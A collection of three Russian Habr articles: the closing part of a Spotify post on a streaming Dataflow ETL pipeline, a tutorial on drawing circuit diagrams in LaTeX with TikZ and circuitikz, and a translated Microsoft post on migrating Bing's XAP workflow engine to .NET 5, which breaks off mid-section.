Написание конвейеров в Dataflow во много похоже на их написание в Apache [Crunch](https://crunch.apache.org/). Это не удивительно, так как оба проекта были вдохновлены [FlumeJava](https://research.google.com/pubs/pub35650.html). Отличие в том, что Dataflow предлагает унифицированную модель для потоковой и пакетной работы, в то время как у Crunch есть только пакетная модель.
Для достижения хорошей end-to-end задержки мы написали наш ETL как потоковое задание. За счет того, что оно постоянно запущено, мы можем инкрементально заполнять отдельные часовые сборки по мере прибытия данных. Это дает нам меньшую задержку по сравнению с пакетной работой, которая экспортировала данные один раз в конце каждого часа.
ELT задача использует [windowing (оконную)](https://cloud.google.com/dataflow/model/windowing) концепцию Dataflow для разделения данных на часовые сборки на основании времени. В Dataflow окна могут быть назначены как по времени событий, так и по времени обработки. Тот факт, что окна могут быть созданы на основании временной отметки, дает Dataflow преимущества по сравнению с другими потоковыми фреймворками. До сих пор только [Apache Flink](https://flink.apache.org/) поддерживает оконную работу и по времени, и по обработке.
Каждое окно состоит из одного или нескольких блоков (pane), и каждый блок содержит набор элементов. Триггер, который назначается каждому окну, определяет, как блоки создаются. Эти блоки выделяются только после того, как данные проходят через [GroupByKey](https://cloud.google.com/dataflow/model/group-by-key#gbk-concept). Поскольку GroupByKey группирует по ключу и окну, все агрегированные элементы в одном блоке имеют один и тот же ключ и принадлежат одному окну.
Dataflow обеспечивает механизм, называемый «водяной знак» (watermark, который здесь имеет значение скорее пределах или границы, а не такой же как для изображений или купюр), который можно использовать для определения того, когда закрывать окно. Он используется время событий входящего потока данных для вычисления точки во времени, когда высока вероятность того, что все события для конкретного окна уже прибыли.
Глубокое погружение в реализацию ETL
------------------------------------
В этом разделе мы рассмотрим некоторые проблемы, с которыми мы столкнулись в процессе создания Dataflow ETL задачи для доставки событий. Они могут быть немного сложными для понимания, если у вас не было опыта с Dataflow или подобной системой. Хороший помощник в понимании (если концепция и терминология в новинку для вас) — это [публикация о DataFlow](http://research.google.com/pubs/pub43864.html) от Google.
В нашей системе доставки событий у нас отображение 1:1 между типами событий и топиками Cloud Pub/Sub. Одна ETL задача работает с одним потоком типов событий. Мы используем независимые ETL задачи для обработки данных от всех типов событий.
Для того, чтобы поровну распределить нагрузку между всеми доступными воркерами, поток данных разделяется до того, как он проходит трансформацию, назначающую окно каждому событию. Количество шардов, которые мы используем, это функция от числа воркеров, назначенных на задачу.
«Окно» является [составным преобразованием](https://cloud.google.com/dataflow/model/composite-transforms). На первом этапе этой трансформации мы назначаем часовые фиксированные окна всем событиям во входящем потоке. Окна считаются закрытыми, когда водяной знак переходит за границу часа.
```
@Override
public PCollection>> apply(
final PCollection> shardedEvents) {
return shardedEvents
.apply("Assign Hourly Windows",
Window.>into(
FixedWindows.of(ONE\_HOUR))
.withAllowedLateness(ONE\_DAY)
.triggering(
AfterWatermark.pastEndOfWindow()
.withEarlyFirings(AfterPane.elementCountAtLeast(maxEventsInFile))
.withLateFirings(AfterFirst.of(AfterPane.elementCountAtLeast(maxEventsInFile),
AfterProcessingTime.pastFirstElementInPane()
.plusDelayOf(TEN\_SECONDS))))
.discardingFiredPanes())
.apply("Aggregate Events", GroupByKey.create());
}
```
При назначении окон у нас есть ранний триггер, который установлен на то, чтобы выделять в блоки каждые N элементов, пока окно не закроется. Благодаря триггеру, часовые пакеты постоянно наполняются по мере прибытия данных. Так настроенный триггер помогает нам не только достигать меньшей задержки в экспорте, но и обходить ограничения GroupByKey. Объем данных, собирающийся в панели, должен умещаться в памяти на машинах воркеров, так как GroupByKey представляет собой трансформацию в памяти.
Когда окно закрывается, выделение блоков управляется later-триггером. Этот триггер создает блок из данных либо после N элементов, либо после 10 секунд времени работы. События отбрасываются, если они опоздали более чем на один день.
Материализация (создание временного хранилища или таблицы, например) блоков производится в трансформации «Агрегация Событий», которая не что иное как GroupByKey преобразование.
*Количество входящих событий в секунду*
Для того, чтобы отслеживать количество входящих событий в секунду, проходящих через ETL задачу, мы применяем «Отслеживание среднего RPS своевременных или опоздавших событий» (Monitor Average RPS Of Timely And Late Events) на выходе Assign Hourly Windows. Все показатели преобразований отправляются, как кастомные метрики, в [Cloud Monitoring](https://cloud.google.com/monitoring/). Показатели вычисляются на скользящих пятиминутных окнах, которые передаются каждую минуту.
Информация о своевременности события может быть получена только после того, как событие назначено окну. Сравнение максимальной временной метки элементов окна с текущим водяным знаком дает нам такую информацию. Поскольку данные о водяных знаках не синхронизируется между трансформациями, обнаружение своевременности таким способом может быть неточным. Число ложно обнаруженных опоздавших событий, которое мы наблюдаем сейчас, довольно низко: менее одного в день.
Мы можем достаточно точно обнаруживать своевременность событий, если преобразование мониторинга (или Monitor Average RPS Of Timely And Late Events) будет применена к выходу Aggregate Events. Недостатком такого подхода была бы непредсказуемость получения метрик, так как окно получается на основе количества элементов и времени событий.
В преобразовании Write to HDFS/GCS мы пишем данные либо в HDFS, либо в Cloud Storage. Механика записи в HDFS и Cloud Storage одинакова. Единственная разница в том, какой API файловой системы используется. В нашей реализации, оба API скрыты за интерфейсом [IOChannelFactory](https://github.com/GoogleCloudPlatform/DataflowJavaSDK/blob/master/sdk/src/main/java/com/google/cloud/dataflow/sdk/util/IOChannelFactory.java).
Чтобы гарантировать, что только один файл записывается в блок, даже пренебрегая возможностью сбоя, каждый блок получает уникальный ID. Идентификатор блока затем используется как уникальный ID для всех записываемых файлов. Файлы пишутся в Avro формате со схемой, которая соответствует схеме ID событий.
Своевременные блоки пишутся в пакеты (bucket) на основе времени события. Запоздавшие пишутся в пакеты текущего часа, так как дополнение закрытых сборок нежелательно в работе с данными в Spotify. Для понимания того, своевременный ли блок, мы используем объект [PaneInfo](https://github.com/GoogleCloudPlatform/DataflowJavaSDK/blob/master/sdk/src/main/java/com/google/cloud/dataflow/sdk/transforms/windowing/PaneInfo.java). Он создается при создании блока.
Маркер законченности для часовой сборки пишется только один раз. Для этого основной выходной поток действия Write Pane переобрабатывается (re-windowed) в часовое окно и агрегируется в Aggregated Write Successes.
*Количество записанных файлов в секунду*
*Задержка водяного знака в миллисекундах*
Получение метрик является побочным выходом действий Write Pane. Мы получаем данные, которые показывают, сколько файлов записалось в секунду, среднюю задержку событий и лаг «водяного знака» по сравнению с текущим временем. Все эти метрики рассчитываются для 5 минутного окна и передаются каждую минуту.
Поскольку отставание водяного знака мы измеряем после записи в HDFS/Cloud Storage, оно непосредственно связано со всей латентностью системы. На графике с задержкой можно видеть, что отставание текущего знака в основном меньше 200 с (примерно 3.5 минуты). Вы можете видеть случайные всплески до 1500 с (примерно 25 минут) на этом же рисунке. Такие пики вызваны разрозненностью при записи в наш Hadoop кластер через VPN. Для сравнения, латентность в нашей старой системе составляет два часа в «лучший день» и три часа в среднем.
Следующие шаги в ETL задании
----------------------------
Реализация ETL задания пока находится в стадии прототипирования. Пока у нас есть четыре выполняющихся ETL задания (смотрите график с количеством событий в секунду). Самое маленькое задание потребляет около 30 событий в секунду, а самое большое достигает пиковых значений в 100К событий в секунду.
Мы еще не нашли хороший способ вычислять оптимальное количество воркеров для ETL задач. Их количество пока определяется вручную после проб и ошибок. Мы используем два воркера для наименьшей задачи и 42 для наибольшей. Интересно отметить, что выполнение заданий также зависит от памяти. Для одного конвейера, обрабатывающего около 20К событий в секунду, мы используем 24 воркера, в то время как для второго, обрабатывающего события с той же скоростью, но со средним размером сообщения вчетверо меньше, мы задействуем только 4. Управление конвейерами может намного упроститься, когда мы реализуем функцию [автоматического масштабирования](https://cloud.google.com/dataflow/faq#autoscale-default).
Мы должны гарантировать, что при перезапуске задачи (job), мы не потеряем никаких данных. Сейчас это не так, если [job update](https://cloud.google.com/dataflow/pipelines/updating-a-pipeline) не работает. Мы активно сотрудничаем с инженерами Dataflow в поиске решения этой проблемы.
Поведение водяного знака все еще остается загадкой для нас. Нам нужно проверить, что его вычисление предсказуемо как в случае сбоя, так и в случае нормальной работы.
Наконец, нам надо определить хорошую модель CI/CD для быстрых и надежных обновлений ETL задания. Это нетривиальная задача — нам надо управлять одной ETL задачей для каждого типа событий, а их у нас более 1000.
Облачная система доставки событий
---------------------------------
Мы активно работаем над тем, чтобы запустить новую систему в продакшен. Предварительные цифры, которые мы получили из запуска новой системы в экспериментальной фазе, очень обнадеживают. Худшее общее время задержки в новой системе в четыре раза меньше общего времени задержки старой платформы.
Но повышение производительности это не единственное, что мы хотим получить от новой системы. Мы хотим с помощью облачных продуктов намного снизить операционные издержки. Это, в свою очередь, означает, что у нас будет гораздо больше времени на улучшение продуктов Spotify. | https://habr.com/ru/post/323908/ | null | ru | null |
# Электрические схемы средствами LaTeX и TikZ
Иногда в LaTeX нужно нарисовать несложную электрическую схему. Далее рассказано как это сделать без привлечения стороннего ПО средствами самого LaTeX. То что будет написано далее рассчитано на тех, кто уже знаком с таким средством создания векторной для LaTeX как TikZ. В противном случае нужно сначала ознакомиться с TikZ. Немного информации на русском языке есть [тут](http://habrahabr.ru/post/48260/) . Те, кто уже знаком с TikZ — см. под кат. Данные способы рисования схем в LaTeX я использовал в процессе написания диссертации.
Вот такую схему можно нарисовать средствами LaTeX:
### TikZ с библиотекой circuits
Для рисования электрических схем служит библиотека circuits. Её нужно подключить в преамбуле документа при помощи команды \usetikzlibrary.Дополнительно в качестве параметра окружения tikzpicture нужно указать
circuit ee IEC.
```
\usetikzlibrary{circuits}
\usetikzlibrary{circuits.ee}
\usetikzlibrary{circuits.ee.IEC}
\usetikzlibrary{circuits.logic.IEC}
```
Элементы схем являются в этой библиотеке специальными типами узлов и задаются как обычные узлы TikZ командой \node. Здесь нужно обратить внимание, что текст узла, задаваемый в фигурных скобках, у радиоэлементов всегда пустой. Позиционное обозначение и номинал вводятся как параметр info в квадратных скобках. Парметр point up разворачивает компонент на 90 градусов, а параметр point down — на 270 градусов.
```
\node (R) [resistor={info={$R$}}] at (2,2) {}; % горизонтальный резистор
\node (C1) at (3,0) [point up,capacitor={info = $C_1$, info'= 100 пФ}] {}; %вертикальный конденсатор
```
Полный список всех компонентов имеется в документации к TikZ.
Узел схемы задаётся специальным узлом contact, который рисует закрашенный кружочек.
```
\node (p2) [contact] at (6,-2) {}; % узел в точке x=6, y=-2
```
Провода между элементами задаются как обычно в TikZ командой /draw. Прямой провод рисуется командой
```
\draw (R1) -- (C1);
```
А провод под углом 90 градусов рисуется командой:
```
\draw (R1) |- (C1);
```
или
```
\draw (R1) -| (C1);
```
Отличие состоит в том, что в первом случае провод сначала идёт вертикально, а затем горизонтально, а во втором случае — наоборот.
К проводам можно применять все параметры (стрелки, толщину линии, как и к обычным траекториям. Например толстый провод со стрелкой:
```
\draw [thick,->] (R1) -| (C1);
```
Схемы можно сочетать с любой графикой TikZ и, например, размещать на схеме график.
Теперь рассмотрим небольшой пример, который снабжён комментариями.
```
\documentclass[12pt]{article}
\usepackage{mathtext}
\usepackage[T2A]{fontenc}
\usepackage[koi8-r]{inputenc}
\usepackage[russian]{babel}
\usepackage[pdftex]{graphics}
\usepackage{tikz}
\usetikzlibrary{circuits} % подключаем библиотеки, содержащие
\usetikzlibrary{circuits.ee} % УГО для схем
\usetikzlibrary{circuits.ee.IEC}
\usetikzlibrary{arrows} % подключаем библиотеки со стрелками
\usetikzlibrary{patterns} % и со штриховкой
\begin{document}
Мега-описание RLC-контура
\begin{figure}[!h]
\begin{center}
\begin{tikzpicture}[circuit ee IEC] % обязательно указываем circuit ee IEC
\node (in) at (0,0) [contact] {}; % вход - контакт
\node (L1) at (1,0) [inductor={info = $L_1$, info'= 47 мкГн}] {}; % катушка -
% info - обозначение на схеме , info' - номинал
\node (C1) at (3,0) [capacitor={info = $C_1$, info'= 100 пФ}] {}; % конденсатор
\node (R) at (5,0) [resistor={info = $R_1$, info'= 2 Ом}] {}; % резистор
\node (out) at (6,0) [contact] {}; % выходной зажим
\draw (in) -- (L1) -- (C1) -- (R) -- (out); %выходной зажим
\end{tikzpicture}
\end{center}
\caption{Последовательный колебательный контур}
\end{figure}
\begin{figure}[!h]
\begin{center}
\begin{tikzpicture}[circuit ee IEC]
\node (R) [resistor={info={$R$}}] at (2,2) {}; % рисуем резистор
\node (p1) [contact] at (3,2) {}; % рисуем точку соединения R и С
\node (C) [point up, capacitor={info={$C$}}] at (3,1) {}; % конденстаор развернём на 90 градусов
\node (p2) [contact] at (3,0) {}; % рисуем точку соединения конденсатора с общи проводом
\draw [-latex] (p1) -- (5,2); % соединяем узлы схемы, R и С
\draw [latex-] (0,2) -- (R);
\draw (R) -- (p1) -- (C) -- (p2); % рисуем провода
\draw [latex-] (0,0) -- (p2);
\draw [-latex] (p2) -- (5,0);
\node at (0,1) {Вход}; % подписываем где Вход
\node at (5,1) {Выход}; % и где Выход
% теперь рисуем АЧХ как обычно график
\draw[xshift=60mm,-latex] (0,0) -- (4,0) node [anchor=west] {$\omega$}; % ось Х
\draw[xshift=60mm,-latex] (0,0) -- (0,3) node [anchor=south] {$K(\omega)$}; % ось Y
\draw [very thick,xshift=60mm, y=2cm, x=1cm,
declare function={K(\w)=1/sqrt(1+\w^2);}] plot [domain=0:3, samples=10,
smooth] (\x,{K(\x)}); % график АЧХ
\end{tikzpicture}
\end{center}
\caption{RC - цепочка и её АЧХ}
\end{figure}
\end{document}
```
Результат выглядит так:
### Пакет circuitikz
Пакет circuitikz является дальнейшим развитием библиотеки cirtuits. Пакет содержит значительно больше компонентов: пассивные компоненты, транзисторы, диоды, тиристоры, логические вентили, трансформаторы. Пакет circuitikz несовместим с библиотекой circuits. Использовать их вместе нельзя. Документацию к пакету можно скачать [здесь](http://texdoc.net/show.php?pkg=circuitikz)
Пакет circuitikz подключается в преамбуле вот так:
```
\usepackage[europeanresistors,americaninductors]{circuitikz}
```
С такими параметрами УГО получаются наиболее близкими к нашим ГОСТам.
Пакет определяет специальное окружение, в которое нужно помещать схемы:
```
\begin{circuitikz}
\end{circuitikz}
```
Помещать это окружение внутри tikzpicture не нужно.
Идеология рисования схем отличается от библиотеки circuits. Компоненты являются не узлами (nodes), а путями (paths). Чтобы разместить одиночный компонент, нужно создать путь командой /draw. Поворот компонента осуществляется ориентацией пути. В качестве примера рассмотрим схему тиристорного фазового регулятора.
```
\begin{circuitikz}
\draw (-1,0) to [sV,l=$U_c$] (-1,2) % источник синусоидального напряжения
to [R, l=$R_н$,i>_=$I_н$] (2,2) % резистор с направлением тока
to [Ty,l={VS},*-,n=VS] (2,0); % тиристор
\draw (VS.G) to [R,mirror,l=$R_у$,i<_=$I_у$] ++(4,0) |- (2,2);
\draw (VS.cathode) |- (-1,0);
\end{circuitikz}
```
В результате получается следующее:
### Выводы
Для рисования схем в LaTeX можно использовать библиотеку circuits для TikZ или пакет circuitikz. Я бы рекомендовал последний пакет только для рисования сложных схем с полупроводниковыми компонентами. Обычно я предпочитаю использовать библиотеку circuits. Схемы выполненные с использованием каждого из этих способов не выглядят в LaTeX чужеродно, используется тот же шрифт и начертание линий, что и в остальном документе. Также все иллюстрации встроены в документ и всё хранится в едином файле.
Недостатком является то, что большие схемы замедляет компиляцию документа, так как каждый раз при компиляции они рендерятся заново. Также на рисование схемы средствами TikZ затрачивается больше времени, чем при использовании визуальных редакторов.
Ресурсы:
1. Ещё примеры схем, выполненных при помощи TikZ и circuitikz: [www.texample.net/tikz/examples/area/electrical-engineering](http://www.texample.net/tikz/examples/area/electrical-engineering/)
2. Документация к circuittikz: [texdoc.net/show.php?pkg=circuitikz](http://texdoc.net/show.php?pkg=circuitikz)
3. Список свободного ПО для рисования электрических схем: <https://en.wikipedia.org/wiki/Wikipedia:WikiProject_Electronics/Programs> | https://habr.com/ru/post/250541/ | null | ru | null |
# Миграция Bing's Workflow Engine на .NET 5
> *Материал переведен.* [*Ссылка на оригинальную статью*](https://devblogs.microsoft.com/dotnet/migration-of-bings-workflow-engine-to-net-5/)
>
>
Bing работает с одним из крупнейших в мире, наиболее сложных, высокопроизводительных и надежных приложений .NET. В этой заметке рассказывается о процессе перехода на .NET 5, а также о значительном увеличении производительности, которого мы смогли добиться.
Это приложение находится в центре стека архитектуры Bing и отвечает за координацию работы тысяч других компонентов, которые обеспечивают результаты всех запросов. Оно также лежит в основе многих других сервисов кроме Bing.
Коллектив, которому принадлежит этот компонент, называется XAP ("Zap"). Я являюсь членом этой команды с 2008 года, вскоре после моего прихода в Microsoft (когда Bing был Live Search!). В 2010 году мы осуществили миграцию большей части нашего стека с C++ на .NET Framework.
Работа по миграции XAP на .NET Core началась в июле 2018 года. Мы консультировались с командами, которые уже осуществили этот переход, такими как UX-уровень Bing, а также с самой командой разработчиков .NET.
Коллектив XAP давно поддерживает тесные рабочие отношения с командой разработчиков .NET, особенно с той ее частью, которая занимается Common Language Runtime (CLR). После анонса .NET Core мы уже знали, что захотим перейти на новую версию. Ожидаемые преимущества в производительности, открытый исходный код и более быстрые сроки разработки стали дополнительными стимулами.
Эта миграция стала безоговорочным успехом для нашей команды, налицо были улучшения в производительности и адаптивности.
#### XAP: Краткое описание
Для того чтобы обеспечить некоторый контекст, позвольте мне передать высокоуровневую картину архитектуры XAP.
Три года назад Mukul Sabharwal [подробно описал в блоге](https://devblogs.microsoft.com/dotnet/bing-com-runs-on-net-core-2-1/), как его команда осуществила миграцию фронтенда Bing на .NET Core. Под этим UX-слоем располагается высокопроизводительный механизм выполнения рабочих процессов (workflow), который управляет координацией и взаимодействием между различными бэкендами данных, обеспечивающими работу Bing. Этот промежуточный слой также используется во многих сервисах Microsoft, не относящихся к Bing.
Следует заметить, что команда разработчиков фронтенда Bing уже перешла на предварительные версии .NET 6. Они начали работу с .NET 6 Preview 1 и теперь находятся на Preview 4. В этой версии были отмечены значительные улучшения, в основном связанные с новыми [функциями crossgen2](https://devblogs.microsoft.com/dotnet/conversation-about-crossgen2/).
Команда XAP имеет две основные сферы ответственности:
1. Управление центральной частью рабочего сайта для Bing (и других приложений, связанных с поиском, таких как Sharepoint, Cortana, Windows Search и т.д.).
2. Предоставление среды выполнения, обработчика для рабочего процесса, инструментов и SDK (Software development kit) для наших внутренних партнеров, чтобы они могли сами создавать и работать с различными сценариями на этой платформе.
В Bing, нашей крупнейшей рабочей среде, XAP управляет тысячами компьютеров в глобальном комплексе центров обработки данных. На каждом устройстве XAP загружает более 900 000 экземпляров рабочих процессов и 5,3 миллиона экземпляров плагинов - и все это в процессе с кучей размером 50 ГБ, которая загружает 2500 уникальных сборок и JITs (Just in time) обрабатывает более 2,1 миллиона методов.
По своей сути XAP ApplicationHost - это хост для независимо разработанных плагинов (функций), объединенных в направленный ациклический граф, называемый рабочим процессом (workflow). Рабочие процессы состоят из плагинов и других рабочих процессов. Задача XAP - выполнить этот рабочий процесс как можно эффективнее и быстрее.
Типичный Bing-запрос будет выполнять около 12 000 узлов (включая более 2000 сетевых вызовов) за несколько сотен миллисекунд. Один компьютер обычно обрабатывает более 30 000 узлов в секунду в пиковый момент. Для обеспечения эффективности выполнения, а также для поддержания безопасности системы, мы накладываем многочисленные ограничения на авторов плагинов, такие как:
* Ограниченная область применения API. Никаких API, изменяющих процесс, никаких потоков, никакого ввода-вывода, никакой синхронизации. Все эти возможности управляются через обработчиков рабочего процесса и специализированные плагины (например, Xap.HTTP).
* Неизменяемое состояние. Плагины не могут ссылаться на изменяемые статические данные. Их результаты делаются неизменяемыми, чтобы избежать синхронизации в их зависимостях.
* Строгий мониторинг. Плагины имеют жесткие требования к времени ожидания, и после истечения таймаута мы начнем запускать их зависимости. Плагины, которые часто выходят из строя, автоматически отключаются.
Обработчик runtime также хорошо оптимизирован для эффективного выполнения этих плагинов. Мы максимально избегаем синхронизации потоков, минимизируем выделение памяти, [объединяем крупные объекты в пулы](https://github.com/microsoft/Microsoft.IO.RecyclableMemoryStream), чтобы избежать повторного выделения Large Object Heap, и генерируем код для более успешного выполнения динамически загружаемых плагинов.
#### Результаты производительности
Перед внедрением мы запускали различные сборки на нескольких тестовых компьютерах и тщательно анализировали результаты. Получив достаточную уверенность в правильности своих решений на данном этапе, мы перешли к мелкомасштабным экспериментам. Начав с десяти произвольно выбранных компьютеров, работающих на .NET 5, мы постепенно расширяли эксперимент, пока весь центр обработки данных не стал использовать .NET 5.
#### Результаты внедрения
Мы начали внедрять .NET 5 preview 6 в одном центре обработки данных 8 июля 2020 года, почти через 2 года после начала проекта. (С тех пор мы обновили .NET 5 до версии RTM).
Мы задержали развертывание на других центрах обработки данных на несколько недель, чтобы обеспечить достаточное время для мониторинга стабильности и производительности.
#### Латентность
Латентность (время ожидания) - один из основных показателей, которые мы отслеживаем.
Миграция одного центра обработки данных особенно заметна:
Здесь приведены высокоуровневые данные по различным средам. Эти цифры приблизительны и взяты из ежедневных средних значений за несколько месяцев. Они измеряют % улучшения в двух процентилях.
Между этими центрами обработки данных существует большой разброс, который можно объяснить различиями в трафике и конфигурации компьютеров.
#### Перегрузка времени ожидания
Общее время, которое ApplicationHost добавляет к выполнению запросов, уменьшилось на 11%:
#### CPU
Общее использование ЦП снизилось примерно на 27%, и разница особенно очевидна, когда мы смотрим на суммарное процессорное время, занимаемое плагинами, не относящимися к I/O, в запросе BingFirstPageResults:
#### Сбор мусора (GC)
Измерить точное влияние GC в разных сборках с помощью счетчиков довольно сложно. Помимо того, что значительно изменилась имплементация GC, также мы применили новую конфигурацию в .NET Core.
Счетчик % Time в GC увеличился:
Он увеличился в среднем с 0,3% до 0,8%, что много в относительном выражении, но незначительно в абсолютном.
Одним из объяснений этого является изменение, которое мы сделали после долгих измерений, проконсультировавшись с командой CLR, чтобы уменьшить размер бюджета Gen0. Это привело к тому, что GC стали выполняться быстрее и чаще. Что напрямую способствовало снижению общей задержки запроса P99, но ценой большего времени, проведенного в GC. В этой области ведутся активные исследования, чтобы выяснить, можем ли мы и в дальнейшем улучшать ситуацию, к тому же есть некоторые перспективные наработки в других конфигурациях.
#### Исключения
Средняя частота исключений значительно снизилась:
В среднем она снизилась с 7,8/сек до 3,5/сек, что на 55% лучше.
#### Конфликт при блокировке
Управляемая блокировка показала значительное снижение пиковых значений, но при этом немного повысила базовые уровни:
В среднем он снизился с 645 до 410 контентов/сек, что на 36% лучше. Это существенное улучшение связано с тем, что .NET Core изменил алгоритм блокировок, переходя в состояние ожидания быстрее, чем .NET Framework (который работал некоторое время). Таким образом, значительная часть контента в .NET Core могла вообще не учитываться в .NET Framework.
#### Время запуска
Сокращение времени запуска важно, поскольку это означает, что во время развертывания (несколько раз в день) каждый центр обработки данных простаивает меньше, а это приводит к снижению пиковых задержек и повышению доступности при пиковой нагрузке.
Время запуска значительно сократилось:
Время запуска в основном определяется временем прогрева, когда мы прогоняем через систему непользовательские запросы, прежде чем принять реальный трафик. Время прогрева определяется временем работы процессора. Снижение на 28% сильно коррелирует со снижением общего использования ЦП плагином.
#### ThreadPool
Одним из способов измерения эффективности является то, как долго плагины, готовые к выполнению, остаются в очереди ожидания свободного процессора. Эта метрика также определяется использованием ЦП, поэтому она не является чистым показателем эффективности пула потоков.
Средняя задержка при постановке в очередь P95 снизилась примерно на 31%. Средняя задержка при постановке в очередь P99 снизилась примерно на 26%.
#### Метод миграции
Показатели производительности - это прекрасно, но как насчет работы, которая была проделана для их достижения? Стоит подчеркнуть цели нашей миграции:
1. Гибкость в выборе, загружать ли компьютер под .NET Framework или .NET Core. Это позволит нам:
* Динамически переключаться туда и обратно на основе инфраструктурных концепций, таких как функция компьютера, единица масштабирования, среда или раздел данных.
* Выполнять откат в процессе разработки даже через несколько месяцев после миграции.
* Вносить изменения в наш репозиторий, не вмешиваясь в работу других. Благодаря тому, что код работал в обоих режимах runtimes, никому не нужно было делать ничего особенного - мы тестировали оба режима.
2. Единая кодовая база
3. Единая копия бинарных файлов
4. Избежали необходимости с самого начала переводить всех наших партнеров на целевой netcore/netstandard. Это было бы невозможно.
Руководствуясь этими принципами, мы применили гибридный подход к созданию и эксплуатации платформы XAP:
1. Продолжали создавать платформу под .NET Framework 4.7.2.
2. Использовали инструмент ApiPort для проверки совместимости на уровне API. Это гарантировало, что все вызовы библиотек .NET, которые мы делали в нашей платформе, существовали и в .NET Core.
3. Разработали пользовательское хост-приложение на базе CoreCLR, которое динамически загружало и выполняло двоичные файлы, созданные на основе Framework.
Такой подход помог упростить аспекты тестирования и развертывания этого проекта и позволил всем нашим партнерам продолжить разработку своих сценариев в прежнем виде, не перенося все сразу на новую платформу.
Со временем мы переведем все наши двоичные файлы на сборку непосредственно для netstandard2.0 и .NET 5 или .NET 6 и больше не будем использовать гибридный подход.
#### Сложности
Как только мы начали эту работу, то поняли, что проблемы, с которыми придется столкнуться, будут многочисленными и отличаться по типу и масштабу от тех, что возникали у других команд.
**Бинарная проблема**
Довольно много сборок, которые использует XAP, необходимы для обеспечения запуска службы или обработки всего одного запроса. Без устранения всех зависимостей невозможно будет начать даже тестирование. Таких зависимостей десятки. Это проблема типа "все или ничего".
#### C++/CLI
Когда мы начали процесс миграции, .NET Core был в версии 2.0, которая не поддерживала C++/CLI. Эти DLL даже не загружались. Bing использует ряд общих компонентов инфраструктуры, которые передаются в управляемый код через интерфейсы C++/CLI.
Без этих сборок процесс не мог даже загрузиться, не говоря уже об обработке запросов.
С помощью и в сотрудничестве с командами по всей компании мы перевели их на использование интерфейсов P/Invoke.
Даже с учетом поддержки в последней версии .NET Core проектов на C++/CLI, эти сборки пришлось бы переделывать. Так как мы уже перешли на новые интерфейсы, в этом нет необходимости.
#### Несовместимый код
XAP runtime состоит в основном из процесса хостинга под названием ApplicationHost, в то время как предоставляемые партнерам библиотеки выполняются на нашей платформе.
Мы полагались на многие управляемые библиотеки, небольшие части которых использовали API, отсутствующие в .NET Core.
Примеры этого включают:
* Кэширование в памяти, использующее библиотеку .NET MemoryCache
* Библиотека хэш-вычислений
* .NET remoting (WCF)
* Функциональность HTTP
* Загрузка пользовательских сборок
Каждый случай требовал отдельного решения. Иногда в .NET существовали альтернативные API, на которые можно было перейти. В-остальном, нам нужно было произвести апгрейд библиотек. Часто это приводило к длинной цепочке модернизированных зависимостей.
Сотни плагинов наших партнеров также использовали различные API, которых не было в .NET Core. Количество нерабочих API было относительно небольшим - возможно, около дюжины. Но количество плагинов и команд партнеров, которые владели этими плагинами, было огромным. Мы работаем с более чем 800 разработчиками в мире, и для команды XAP было непросто общаться со всеми ними.
Поэтому мы разработали автоматизированные инструменты для сканирования всех плагинов с помощью инструмента ApiPort команды .NET. Они были включены в процессы автоматического развертывания, через которые должны пройти все авторы плагинов, сначала в виде предупреждения, а затем в виде блокирующей ошибки. Была составлена документация о наиболее распространенных несовместимостях и рекомендуемых изменениях для приведения их в соответствие. Плагины, от которых отказались их разработчики, были навсегда отключены.
#### Ошибки .NET и функциональные изменения
Команда XAP столкнулась с множеством проблем из-за некоторых областей узкоспециализированной функциональности, которую мы создали. Иногда мы опирались на неутвержденные предположения, и тогда внутренние функциональные изменения в .NET вызывали поведенческие отклонения, которые нам нужно было устранить. В других случаях наши экстремальные уровни масштабирования и уникальная архитектура выявляли ошибки, которые другие тесты еще не обнаружили.
#### Загрузчик
XAP полагается на некоторые очень специфические функциональные возможности при использовании сборок наших партнеров для обеспечения их параллельной загрузки. Это фундаментальная часть нашей модели изоляции. Некоторые тонкие различия в загрузчике .NET потребовали от нас детального расследования, и в итоге мы обратились к разработчикам CLR, которые обнаружили как минимум две ошибки ([dotnet/runtime #12072](https://github.com/dotnet/runtime/issues/12072) и [dotnet/runtime #11895](https://github.com/dotnet/runtime/issues/11895)), одна из них - критическое нарушение переполнения стека. Нам также пришлось внести некоторые изменения в наш код.
Кроме того, благодаря нашей диагностике и расследованию они исправили [ошибку выполнения сборки](https://github.com/dotnet/coreclr/pull/24450), которая оказывала на нас влияние.
Наша уникальная архитектура и масштаб позволили выявить эти незаметные ошибки намного раньше, чем их обнаружили бы другие.
#### ETW и TraceEvent
Еще одна серьезная проблема была связана с библиотекой Microsoft.Diagnostics.Tracing.TraceEvent. Когда ApplicationHost только создавался и мы выбрали ETW в качестве механизма протоколирования, технологии ETW еще не было в .NET Framework, а версии с открытым исходным кодом находились на ранней стадии. Мы форкнули код для EventSource и TraceEvent в наши собственные версии, и они постепенно менялись в течение последующих десяти лет. По разным причинам нам было трудно и дорого переходить на официальные версии, прежде чем они стали более доступными.
Наконец, мы перешли на официальный пакет, обнаружив по пути пару [небольших ошибок](https://github.com/Microsoft/perfview/pull/929).
Еще одна пара [интересных ошибок](https://github.com/dotnet/runtime/issues/34423#event-3194025711), с которыми мы столкнулись и которые были исправлены в .NET 5, была связана с поставщиком событий CLR. Когда наш код регистратора перелистывает файлы, ему необходимо отписаться от событий, которые он прослушивает, включая события CLR. Когда регистратор повторно подписывался на события для новых файлов, он больше не получал события CLR. Даже внешние инструменты, такие как PerfView, на которые мы полагаемся для отладки и профилирования производительности, больше не могли получать эти события CLR. Эта ошибка была сложной в основном потому, что ее было очень трудно воспроизвести, а наша модель использования, вероятно, была немного необычной.
#### Счетчики производительности
XAP очень сфокусирован на метриках. Мы собираем 6 миллиардов событий/мин по 500 миллионам временных рядов. Большинство из них - наши собственные, но мы полагаемся на многие системные счетчики и счетчики уровня .NET. В .NET Core 2.x эта инфраструктура отсутствовала, и поэтому мы оказались слепы во многих областях.
Начиная с версии .NET Core 3.x, некоторые счетчики производительности стали доступны. Мы попросили добавить еще несколько. См. [здесь](https://github.com/dotnet/runtime/issues/1098), [здесь](https://github.com/dotnet/runtime/issues/1099) и [здесь](https://github.com/dotnet/runtime/issues/11227). Многие из них были добавлены в .NET 5.
#### Ошибка обработки исключений
Хотя это не совсем ошибка, связанная с миграцией, она была связана со многими другими проблемами при исследовании производительности, и мы решали ее в тандеме с другими исследованиями производительности CLR.
